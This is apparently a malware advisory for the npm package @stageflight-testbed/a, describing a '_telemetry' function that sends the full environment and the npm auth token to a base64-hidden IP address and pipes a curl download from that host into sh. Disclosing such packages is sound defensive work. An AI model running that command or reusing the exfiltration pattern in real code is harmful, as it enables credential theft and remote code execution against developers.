MAL-2026-13365 Malicious code in @stageflight-testbed/a (npm)

index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on curl -s http://185.220.101.47:8080/the assessment | sh, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(…,'base64') to hide the destination from source review. Execution is gated by an environment flag (SF_TEST_NEVER), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.